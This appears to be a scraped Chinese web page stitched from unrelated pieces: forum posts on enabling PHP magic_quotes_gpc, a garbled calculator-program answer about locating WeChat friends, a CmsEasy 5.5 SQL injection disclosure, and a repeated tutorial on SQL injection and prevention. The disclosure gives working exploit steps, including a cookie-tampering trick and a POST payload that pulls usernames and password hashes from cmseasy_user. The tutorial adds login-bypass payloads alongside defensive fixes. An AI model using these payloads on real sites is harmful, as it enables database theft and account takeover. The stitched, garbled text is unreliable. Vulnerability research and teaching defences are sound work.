ios判断定位是否开启GPC定位会怎样

查看: 3001|回复: 1
怎样打开“魔术引号(Magic Quote)GPC”
正在安装CMS程序,界面提示:
如果您的服务器配置不符合以下的哪怕任何一项(被标记为否),请找服务器管理员解决。不完全符合以下的配置要求,您就无法安装Joomla。
安装时有一项没通过:
魔术引号(Magic Quote)GPC&&否
无法继续。这个什么“魔术引号(Magic Quote)GPC”是个什么东西啊?
本文出自美国主机侦探(www.idcspy.org),转载请注明!
这个是一种功能函数吧,没有开启需要联系主机商解决
站长推荐 /4
HostEase速度快,有中文客服和中文站,支持支付宝付款。
GoDaddy最新给力优惠,年付仅需12美元!
新年新惠,美国服务器RAKsmart推出新春促销活动。即日起凡新注册美国服务器RAKsmart的会员,都可以享受全场首台首月2折的优惠。新用户专享活动,还在等什么,现在行动吧!我们期待您的加入!!!
本周五,大洋彼岸将迎来2015年中最大的线下商业大促“黑色星期五”!点击查看详情》
论坛言论由会员发布,不代表本论坛观点;非交易论坛,本站不对会员间交易承担任何责任。
代购请联系
Copyright(C) |我以开GPc定位怎样定位徽信好友_百度知道
我以开GPc定位怎样定位徽信好友
我以开GPc定位怎样定位徽信好友
E 1 = & E 3 = &  输入 N1,N3; ◢  L8 R &quot: I = O + Q 可以利用三点定位法,E1; ; N 3 = &三点成圆&quot: P &quot,就可以用以下程式计算  适用于 Casio fx-4500p: B = L + N 、再换两个位置重新记下距离; N 2 = & ◢  L7 G &quot: N &quot: O &quot: Q &quot: J = ( F * K + H * I ) &#47: M &quot,记下你的位置和距离。  三点成圆方法,主要是求出圆心: C = M - O ,Casio fx-4850p  L1 L &quot、如果在微信上找到好友,N2; : F = N - P : E = ( A * B + C * D ) &#47,利用几何里面学过的& 2  L3 G = ( A * J - E * F ) &#47:  1; : D = M + O ,Casio fx-4800p; ( A * H - C * F )  L4 V = ( E - G * C ) &#47,E2; E 2 = &quot,圆心所在地就是微信好友的所在地,也跟直角坐标系的一样: K = N + P ; N = &方法来找到那个圆心; N 1 = &quot,  2,E及半径  适合测量员舂柱用  空间坐标的求圆的方程;  L2 A = L - N :  当我们知道有三个坐标是在同一个圆上面; ; E = &quot,E3  就计算出圆心的N; R A D I U S = &quot: H = O - Q ; 。如何求圆心呢(直角坐标内的)  (1)从已知3个坐标二个点可以弄一条直线; 2 ; A  L5 R = √ ( ( L - V ) ^ 2 + ( M - G ) ^ 2 )  L6 V &quot
SEM联盟创始人
其他类似问题
为您推荐:
gpc的相关知识
其他1条回答
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁查看: 4848|回复: 10
请问如何开启magic_quote_gpc
我的后台中magic_quote_gpc这一项显示off,请问要怎样才能开启呢?还有就是这个是干什么用的呢?
回帖奖励 +1
帮你顶上去了。
看帖。学习中.
不做看帖不会之人
我也努力学习中
magic_quotes_gpc = 设置为on
关注一下。。。。
xiaoyuwxz 发表于
magic_quotes_gpc = 设置为on
请问大师,php.ini这个文件在哪?
魔族之神 发表于
请问大师,php.ini这个文件在哪?
主机才有,空间就不用去管了,
xiaoyuwxz 发表于
主机才有,空间就不用去管了,
我用的就是荆轲网络的虚拟主机,应该有这个文件吧?
magic_quote_gpc主要用来防止注入攻击
如果你有服务器权限就能修改 没有服务器权限就不能修改
虚拟空间的就去问运营商
Powered byCmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位及修复
CmsEasy5.x&&CmsEasy_5.5_UTF-8_.rar
通过一晚上分析,找到一处SQL注入
然后用了一早上分析这个注入点,找到多处
为了不刷RANK,免得一个一个提交麻烦,就全部提交了
附上如何通过一个问题点,快速的找到多个同样问题的点并利用
估计这是大牛在用,或者已经不用的方法,这里只是抛砖引玉,多多交流
首先来看看union_act.php:
function register_action() {
$r = $this-&_union-&getrow(array('userid'=&$this-&view-&data['userid']));
echo '&script type=&text/javascript&&alert(&'.lang('你已经申请,转入联盟页面!').'&)&/script&';
front::refresh(url::create('union/stats'));
if(front::post('submit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify')&&session::get('verify')) {
front::flash(lang('验证码错误!'));
if(front::post('nickname') != strip_tags(front::post('nickname'))
||front::post('nickname') != htmlspecialchars(front::post('nickname'))
front::flash(lang('姓名不规范!'));
if(strlen(front::post('nickname'))&4) {
front::flash(lang('请填写认真填写真实姓名!'));
if(strlen(front::post('payaccount'))&1) {
front::flash(lang('请填写支付账号!'));
if(strlen(front::post('tel'))&1) {
front::flash(lang('请填写联系电话!'));
if(strlen(front::post('address'))&1) {
front::flash(lang('请填写联系地址!'));
$userarr = array();
$userarr['nickname'] = front::$post['nickname'];
$userarr['tel'] = front::$post['tel'];
$userarr['address'] = front::$post['address'];
//$userarr['e_mail'] = front::$post['e_mail'];
$unionarr = array();
$unionarr['userid'] = $this-&view-&data['userid'];
$unionarr['username'] = $this-&view-&data['username'];
$unionarr['payaccount'] = front::$post['payaccount'];
$unionarr['website'] = front::$post['website'];
$unionarr['profitmargin'] = union::getconfig('profitmargin');
$unionarr['regtime'] = time();
$unionarr['regip'] = front::ip();
$unionarr['passed'] = 1;
//var_dump($unionarr);
if(front::post('nickname') &&$this-&view-&data['userid']) {
$insert=$this-&_user-&rec_update($userarr,'userid='.$this-&view-&user['userid']);
$insert1 = $this-&_union-&rec_insert($unionarr);
if($insert &&$insert1) front::flash(lang('申请成功!'));
front::flash(lang('申请失败!'));
front::redirect(url::create('union/stats'));
front::flash(lang('申请失败!'));
注意这里:
$insert1 = $this-&_union-&rec_insert($unionarr);
我们来看看rec_insert的处理:
function sql_delete($tbname,$where) {
$this-&condition($where);
return &DELETE FROM `&.$tbname.&` WHERE &.$
function sql_insert($tbname,$row) {
$sqlfield='';
$sqlvalue='';
foreach ($row as $key=&$value) {
if (in_array($key,explode(',',$this-&getcolslist()))) {
$sqlfield .= $key.&,&;
$sqlvalue .= &'&.$value.&',&;
return &INSERT INTO `&.$tbname.&`(&.substr($sqlfield,0,-1).&) VALUES (&.substr($sqlvalue,0,-1).&)&;
最后直接进入INSERT INTO,进入SQL语句
大家知道这里的front::$post取出来的内容都是被过滤,转义的内容,所以没办法利用
我们来看看$this-&view-&data['username']这个内容是什么
还是union_act.php文件:
function init() {
if(!union::getconfig('enabled')) {
echo '&script type=&text/javascript&&alert(&'.lang('联盟未开启,转让会员中心!').'&)&/script&';
front::refresh(url::create('user/index'));
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
var_dump(cookie::get('login_username'));
$user=$user-&getrow(array('username'=&cookie::get('login_username')));
if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){
front::redirect(url::create('user/login'));
if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) {
$this-&view-&user = $
$this-&view-&usergroupid = $user['groupid'];
$obj = new usergroup();
$this-&roles = $obj-&getrow(array('groupid'=&$this-&view-&usergroupid));
$this-&_user=
$this-&view-&form = $this-&_user-&get_form();
$this-&view-&field = $this-&_user-&getFields();
$this-&view-&primary_key=$this-&_user-&primary_
$this-&view-&data = $this-&view-&
$this-&_union = new union();
$this-&view-&uniondata = $this-&_union-&getrow(array('userid'=&$this-&view-&data['userid']));
if(!$this-&view-&uniondata &&front::$act != 'register'&&front::$act != 'into') {
echo '&script type=&text/javascript&&alert(&'.lang('未申请账号,转入联盟申请页面!').'&);window.location.href=&'.url::create('union/register').'&;&/script&';
//front::refresh(url::create('union/register'));
$this-&_pagesize=config::get('manage_pagesize');
注意这几处关系:
$user=$user-&getrow(array('username'=&cookie::get('login_username')));
$this-&view-&user = $
$this-&view-&data = $this-&view-&
所以由上面三处赋值关系可以看到
$this-&view-&data就是当前登录用户的用户属性信息。
所以到这里我们来想一想:
要是这里的用户属性信息就是$this-&view-&data的内容再进入SQL语句时,能带入单引号&或者反斜杠\,那么就可能导致SQL注入。
带着这个问题,我们来看看$this-&view-&data即用户属性信息是如何存进的,能不能带入特殊符号进入。
来看看user_act.php,看看用户注册是带入的用户信息:
function register_action() {
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$e_mail=front::post('e_mail');
$tel=front::post('tel');
$data=array(
'username'=&$username,
'password'=&$password,
'e_mail'=&$e_mail,
'tel'=&$tel,
'groupid'=&101,
'userip'=&front::ip()
foreach($this-&view-&field as $f){
$name=$f['name'];
if(!preg_match('/^my_/',$name)) {
unset($field[$name]);
if(!setting::$var['user'][$name]['showinreg']) {
$data[$name] = front::post($name);
if($this-&_user-&getrow(array('username'=&$username))) {
front::flash(lang('该用户名已被注册!'));
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
front::redirect(url::create('user'));
可以看到这里的用户名username直接赋给了cookie[login_username]
通过测试,我们发现在注册是用户名username处可以注册反斜杠&\&,如图:
所以通过上面的分析与测试得出结论:
1、注册一个用户,用户名中带反斜杠,如:222222\;
2、登陆后,此用户的用户名进入cookie[login_username];
3、在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this-&view-&data;
4、在注册时,没有处理$this-&view-&data[&username&],$this-&view-&data[&username&]直接进入INSERT INTO SQL语句;
5、由于用户名username中有反斜杠&\&,进入SQL语句后导致反斜杠与其后的单引号&&&结合,使单引号失效,导致SQL注入,如:&userid&,&username\&,&website&,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。
然后我们来证明漏洞:
首先注册推广联盟:
然后抓包,此时cookie中的cookie[login_username]为222222\\,这里修改为222222\
然后修改postdata中payaccount=,222222,USER(),2,1111,11)#
然后提交。
数据库执行记录:
最后看看注册推广联盟后的资料:
Website字段的内容已经被修改为user()的值了!
=========================================华丽的分割线=====================================
通过对cmseasy的代码审计发现此问题不知一处,存在多处
问题的原理都是一样username直接进入SQL语句,但是之间的关系和利用却不一样。
下面我们来看看如何快速找出同一问题引发的大面积问题及漏洞点
也就是我们要说的如何从找到一处SQL注入漏洞到多处SQL注入漏洞。
首先我们上面分析的推广联盟注册处的SQL注入漏洞中,可以看到:
第一,取出username对应的属性信息:$user=$user-&getrow(array('username'=&cookie::get('login_username')));并付给$this-&view-&user;
第二,此user的属性信息$this-&view-&user[&username&]被赋给了某一变量,然后进入了数据库。
那么我们先来搜索取出用户信息的文件,去掉admin文件:
全局搜索:$user=$user-&getrow(array('username'=&cookie::get('login_username')))内容
下来看看取出user的信息是否付给$this-&view-&user,去掉admin文件
然后来看看$this-&view-&user[&username&]被赋值的情况,去掉admin文件
全局搜索=$this-&view-&user['username'],记得有个=号
最后集合三次的搜索,满足两个条件的文件有:
Guestbook_cat.php、mamage_act.php文件
来看看guestbook_act.php文件,是否存在SQL注入漏洞
function init() {
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user-&getrow(array('username'=&cookie::get('login_username')));
$this-&view-&user=$
取出了user的属性信息,并赋给了$this-&view-&user
function index_action() {
front::$post['checked']=0;
if(empty($this-&view-&user)) {
front::$post['userid']=0;
front::$post['username']='&??&£o'.front::$post['nickname'];
front::$post['userid']=$this-&view-&user['userid'];
front::$post['username']=$this-&view-&user['username'];
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();
if (!get_magic_quotes_gpc()) {
front::$post['content'] = front::$post['content'];
front::$post['title']=strip_tags(front::$post['title']);
$data=front::$
$insert=$this-&_table-&rec_insert($data);
这里在留言时:
front::$post['username']=$this-&view-&user['username'];
$data=front::$
$insert=$this-&_table-&rec_insert($data);
最后$this-&view-&user['username']进入了rec_insert
在rec_insert中进入了SQL语句,没有处理,导致了同样的SQL注入漏洞
只要在留言时,修改留言内容为:
guesttel=333333&nickname=333333&guestemail=333333&guestqq=333333&title=333333&username=333333&content=,(SELECT CONCAT(USERNAME,0x23,PASSWORD) FROM cmseasy_user WHERE LIMIT 0,1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+
然后在留言内容中就可得到用户账户信息。
成功找到一处SQL注入漏洞
再来看看另外一个文件manage_act.php文件
function init() {
$user='';
$guest = front::get('guest');
if($guest=='1'&&config::get('opguestadd')) {
$user = 'Guest';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user-&getrow(array('username'=&cookie::get('login_username')));
$this-&view-&user=$
取出了user的属性信息,并赋给了$this-&view-&user
在会员中心,内容管理处:
function add_action() {
if(front::post('submit') &&$this-&manage-&vaild()) {
$this-&manage-&filter();
$this-&manage-&save_before();
front::$post['checked']=0;
front::$post['userid']=$this-&view-&user['userid'];
front::$post['username']=$this-&view-&user['username'];
front::$post['author']=$this-&view-&user['username'];
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();
$data=array();
$data=array_merge($data,front::$post);
$insert=$this-&_table-&rec_insert($data);
注意这里:
front::$post['username']=$this-&view-&user['username'];
front::$post['author']=$this-&view-&user['username'];
$data=array_merge($data,front::$post);
$insert=$this-&_table-&rec_insert($data);
最后$this-&view-&user['username']也进入了数据库,也导致了SQL注入。
具体构造就不给出了。
成功找到一处SQL注入漏洞
下面我们再来扩展:
第一、取出username对应的属性信息:$user=$user-&getrow(array('username'=&cookie::get('login_username')));并付给$this-&view-&user;或者赋给其他;或者$this-&view-&user再次赋给其他,如$this-&view-&data = $this-&view-&
第二、此user的属性信息$this-&view-&user[&username&]或者$this-&view-&data[&username&]被赋给了某一变量,然后进入了数据库。
第三、在搜索赋值操作时,如全局搜索:$this-&view-&user=$user时,再搜索一次
$this-&view-&user = $user,注意这里=号两边的空格
然后根据上面的步骤,我们来验证一下:
全局搜索$user=$user-&getrow(array('username'=&cookie::get('login_username'))
全局搜索:
$this-&view-&user = $user以及$this-&view-&user=$user
然后继续全局搜索
=$this-&view-&user以及= $this-&view-&user
最后全局搜索
= $this-&view-&data['username']以及$this-&view-&data['username']
最后又搜索到union_act.php文件
正如我们最开始分析的推广联盟注册时的漏洞一样!
成功找到一处SQL注入漏洞
下面我们再来一次扩展:
第一、取出username对应的属性信息:$user=$user-&getrow(array('username'=&cookie::get('login_username')));并付给$this-&view-&user;或者赋给其他;或者$this-&view-&user再次赋给其他,如$this-&view-&data = $this-&view-&
第二、此user的属性信息$this-&view-&user[&username&]或者$this-&view-&data[&username&]通过拼接赋给一个变量,或者直接进入SQL语句
第三、如xxx.$this-&view-&user['username'].yyy
下面我们来验证一下:
全局搜索$user=$user-&getrow(array('username'=&cookie::get('login_username'))
全局搜索:
$this-&view-&user = $user以及$this-&view-&user=$user
最后全局搜索
.$this-&view-&user['username']以及$this-&view-&user['username'].
最后又能搜到vote_act.php
function init() {
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user-&getrow(array('username'=&cookie::get('login_username')));
if(is_array($user) &&cookie::get('login_password')==front::cookie_encode($user['password'])) {
$this-&view-&user=$
var_dump($this-&view-&user);
$this-&view-&usergroupid=$user['groupid'];
然后再投票时:
function do_action() {
$vote_data=array_merge($_vote,array('votes'=&$votes,'aid'=&front::post('aid'),'users'=&$_vote['users'].$this-&view-&user['username'].','));
$vote-&rec_replace($vote_data,front::post('aid'));
front::flash(lang('&??&3&1|£?'));
可以看打开$this-&view-&user['username']通过拼接进入$vote_data数组
然后$vote_data数字进入rec_replace,进入SQL语句
但是这里$this-&view-&user['username']在拼接时,最后面加上了一个逗号:
'users'=&$_vote['users'].$this-&view-&user['username'].','
这样的话,username的反斜杠就数去对单引号的注释作用了。
成功找到一处SQL注入问题点,但是无法利用,漏洞查找失败!
通过上面的方法首先找到一处注入点,分析此问题的出发点及原理,以及整个过程的利用
然后通过整个过程中的关键字匹配,快速找到其他问题点,快速找到漏洞!
修复方案:
注册是用户信息及其他用户输入的特殊字符严格处理
进入数据库时严格过滤处理浅谈开启magic_quote_gpc后的sql注入攻击与防范,MySQL教程,MySQL案例,MySQL实例
本站中文域名:、 
        
     
 |  |  |  |  
     |     |     |   
您的位置: &&
&& 浅谈开启magic_quote_gpc后的sql注入攻击与防范
浅谈开启magic_quote_gpc后的sql注入攻击与防范
  本文标签:magic_quote_gpc
通过启用php.ini配置文件中的相关选项,就可以将大部分想利用SQL注入漏洞的骇客拒绝于门外&。 开启magic_quote_gpc=on之后,能实现addslshes()和stripslashes()这两个函数的功能&。在PHP4.0及以上的版本中项默认情况下是开启的,所以在PHP4.0及以上的版本中,就算PHP程序中的参数没有进行过滤,PHP系统也会对每一个通过GET、POST、COOKIE方式传递的变量自动转换,换句话说,输入的注入攻击代码将会全部被转换,将给攻击者带来非常大的困难&。 虽然如此,攻击者仍然有机会进行SQL注入攻击&。&。&。&。&。&。前提是,当参数为数字型的时候,且未经过Intval()函数的处理,因为经过intval()的处理之后,所有的数据就都会强制转换成数字&。 前面已经提到过,开启magic_quote_gpc=on之后,相当于使用addslshes()这个函数&。但是数字型没有用到单引号,所以理所当然的绕过了addslshes()函数的转换了&。而使用MySQL自带的char()函数或者HEX(),char()可以将参数解释为整数并且返回这些整数的ASCII码字符组成的字符串,使用十六进制表示必须在数字前加上0x&。 实例演示: 假设我们知道管理员的用户名为admin,密码不知道&。并且已经将magic_quote_gpc启用&。 SQL语句:$sql="select * from users where username=$name and password=$pwd";注意:变量$name没加引号 此时,在地址栏中输入username=admin%23,则合成后的sql语句为:   select * from users where username=admin\ # and password=;   这时候通过url地址栏输入的单引号()将被加上反斜线,该sql语句将失效&。   admin转换成ASCII后是char(97,100,109,105,110)   此时在地址栏中输入username=char(97,100,109,105,110)%23   SQL语句就变成了:   select * from users where username=char(97,100,109,105,110)# and password=;   执行结果为真,就可以顺利进入后台&。   对于数字型注入攻击,必须在任何的数字型参数放入数据库之前使用intval()对参数进行强制转换成数字,从而可以断绝数字型注入漏洞的产生&。   比如:$id=intval($_GET[‘id]);   select * from articles where id=$   地址栏中输入:id=5 or 1=1%23   SQL语句将变成:select * from articles where id=5;   而不是select * from articles where id=5 or 1=1#; 总结: 对于每一个变量都记得加上单引号,比如where username=$name, 开启magic_quote_gpc并不是绝对安全的,对于数字型注入攻击,仅仅使用addslashes()函数进行转换是不够的,还需使用intval()强制将参数转换成数字 如何防止SQL注入攻击 方法一:密码比对 思路:首先通过用户输入的用户名去查询数据库,得到该用户名在数据库中对应的密码,再将从数据库中查询到的密码和用户提交过来的密码进行比对&。 代码: 复制代码 代码如下: $sql="select password from users where username=$name"; $res=mysql_query($sql,$conn); if ($arr=mysql_fetch_assoc($res)){//如果用户名存在 if ($arr[password]==$pwd) {//密码比对 echo "登录成功"; }else{ echo "密码输入有误"; } }else { echo "该用户名不存在"; }
分析:该情况下,代码健壮了不少,即使在magic_quote_gpc=Off的情况下,也能防止SQL注入攻击&。因为攻击者想成功登录的话,得绕过两道坎,第一是输入的用户名要存在,这一步可以构造一个SQL语句(‘ or 1=1%23)直接绕过,但是这样子无法通过第二道坎&。因为需要用户输入一个正确的密码才能通过,显然,这已经拒绝了SQL注入攻击&。 方法二:使用PDO的PDO::prepare()预处理操作来防止SQL注入攻击 思路:创建一个pdo对象,利用pdo的预处理操作可以防止SQL注入攻击 代码: 复制代码 代码如下: $name=$_GET[username]; $pwd=$_GET[password]; $sql="select * from users where username=? and password=?"; //1.创建一个pdo对象 $pdo=new PDO("mysql:host=port=3306;dbname=injection","root",""); //2.设置编码 $pdo-&exec("set names utf8"); //3.预处理$sql语句 $pdoStatement=$pdo-&prepare($sql); //4.把接收到的用户名和密码填入 $pdoStatement-&execute(array($name,$pwd)); //5.取出结果 $res=$pdoStatement-&fetch(); if(empty($res)){ echo "用户名或密码输入有误"; }else{ echo "登录成功"; }
通过启用php.ini配置文件中的相关选项,就可以将大部分想利用SQL注入漏洞的骇客拒绝于门外&。 开启magic_quote_gpc=on之后,能实现addslshes()和stripslashes()这两个函数的功能&。在PHP4.0及以上的版本中项默认情况下是开启的,所以在PHP4.0及以上的版本中,就算PHP程序中的参数没有进行过滤,PHP系统也会对每一个通过GET、POST、COOKIE方式传递的变量自动转换,换句话说,输入的注入攻击代码将会全部被转换,将给攻击者带来非常大的困难&。 虽然如此,攻击者仍然有机会进行SQL注入攻击&。&。&。&。&。&。前提是,当参数为数字型的时候,且未经过Intval()函数的处理,因为经过intval()的处理之后,所有的数据就都会强制转换成数字&。 前面已经提到过,开启magic_quote_gpc=on之后,相当于使用addslshes()这个函数&。但是数字型没有用到单引号,所以理所当然的绕过了addslshes()函数的转换了&。而使用MySQL自带的char()函数或者HEX(),char()可以将参数解释为整数并且返回这些整数的ASCII码字符组成的字符串,使用十六进制表示必须在数字前加上0x&。 实例演示: 假设我们知道管理员的用户名为admin,密码不知道&。并且已经将magic_quote_gpc启用&。 SQL语句:$sql="select * from users where username=$name and password=$pwd";注意:变量$name没加引号 此时,在地址栏中输入username=admin%23,则合成后的sql语句为:   select * from users where username=admin\ # and password=;   这时候通过url地址栏输入的单引号()将被加上反斜线,该sql语句将失效&。   admin转换成ASCII后是char(97,100,109,105,110)   此时在地址栏中输入username=char(97,100,109,105,110)%23   SQL语句就变成了:   select * from users where username=char(97,100,109,105,110)# and password=;   执行结果为真,就可以顺利进入后台&。   对于数字型注入攻击,必须在任何的数字型参数放入数据库之前使用intval()对参数进行强制转换成数字,从而可以断绝数字型注入漏洞的产生&。   比如:$id=intval($_GET[‘id]);   select * from articles where id=$   地址栏中输入:id=5 or 1=1%23   SQL语句将变成:select * from articles where id=5;   而不是select * from articles where id=5 or 1=1#; 总结: 对于每一个变量都记得加上单引号,比如where username=$name, 开启magic_quote_gpc并不是绝对安全的,对于数字型注入攻击,仅仅使用addslashes()函数进行转换是不够的,还需使用intval()强制将参数转换成数字 如何防止SQL注入攻击 方法一:密码比对 思路:首先通过用户输入的用户名去查询数据库,得到该用户名在数据库中对应的密码,再将从数据库中查询到的密码和用户提交过来的密码进行比对&。 代码: 复制代码 代码如下: $sql="select password from users where username=$name"; $res=mysql_query($sql,$conn); if ($arr=mysql_fetch_assoc($res)){//如果用户名存在 if ($arr[password]==$pwd) {//密码比对 echo "登录成功"; }else{ echo "密码输入有误"; } }else { echo "该用户名不存在"; }
分析:该情况下,代码健壮了不少,即使在magic_quote_gpc=Off的情况下,也能防止SQL注入攻击&。因为攻击者想成功登录的话,得绕过两道坎,第一是输入的用户名要存在,这一步可以构造一个SQL语句(‘ or 1=1%23)直接绕过,但是这样子无法通过第二道坎&。因为需要用户输入一个正确的密码才能通过,显然,这已经拒绝了SQL注入攻击&。 方法二:使用PDO的PDO::prepare()预处理操作来防止SQL注入攻击 思路:创建一个pdo对象,利用pdo的预处理操作可以防止SQL注入攻击 代码: 复制代码 代码如下: $name=$_GET[username]; $pwd=$_GET[password]; $sql="select * from users where username=? and password=?"; //1.创建一个pdo对象 $pdo=new PDO("mysql:host=port=3306;dbname=injection","root",""); //2.设置编码 $pdo-&exec("set names utf8"); //3.预处理$sql语句 $pdoStatement=$pdo-&prepare($sql); //4.把接收到的用户名和密码填入 $pdoStatement-&execute(array($name,$pwd)); //5.取出结果 $res=$pdoStatement-&fetch(); if(empty($res)){ echo "用户名或密码输入有误"; }else{ echo "登录成功"; }
Google搜索中
搜狗搜索中
在线教程导航
数据库开发
产品库推荐
| 站长工具:
All Rights Reserved.
珠江路在线版权所有
苏ICP备号 中文域名:
 |  | 

我要回帖

更多关于 苹果手机没有开启定位 的文章

 

随机推荐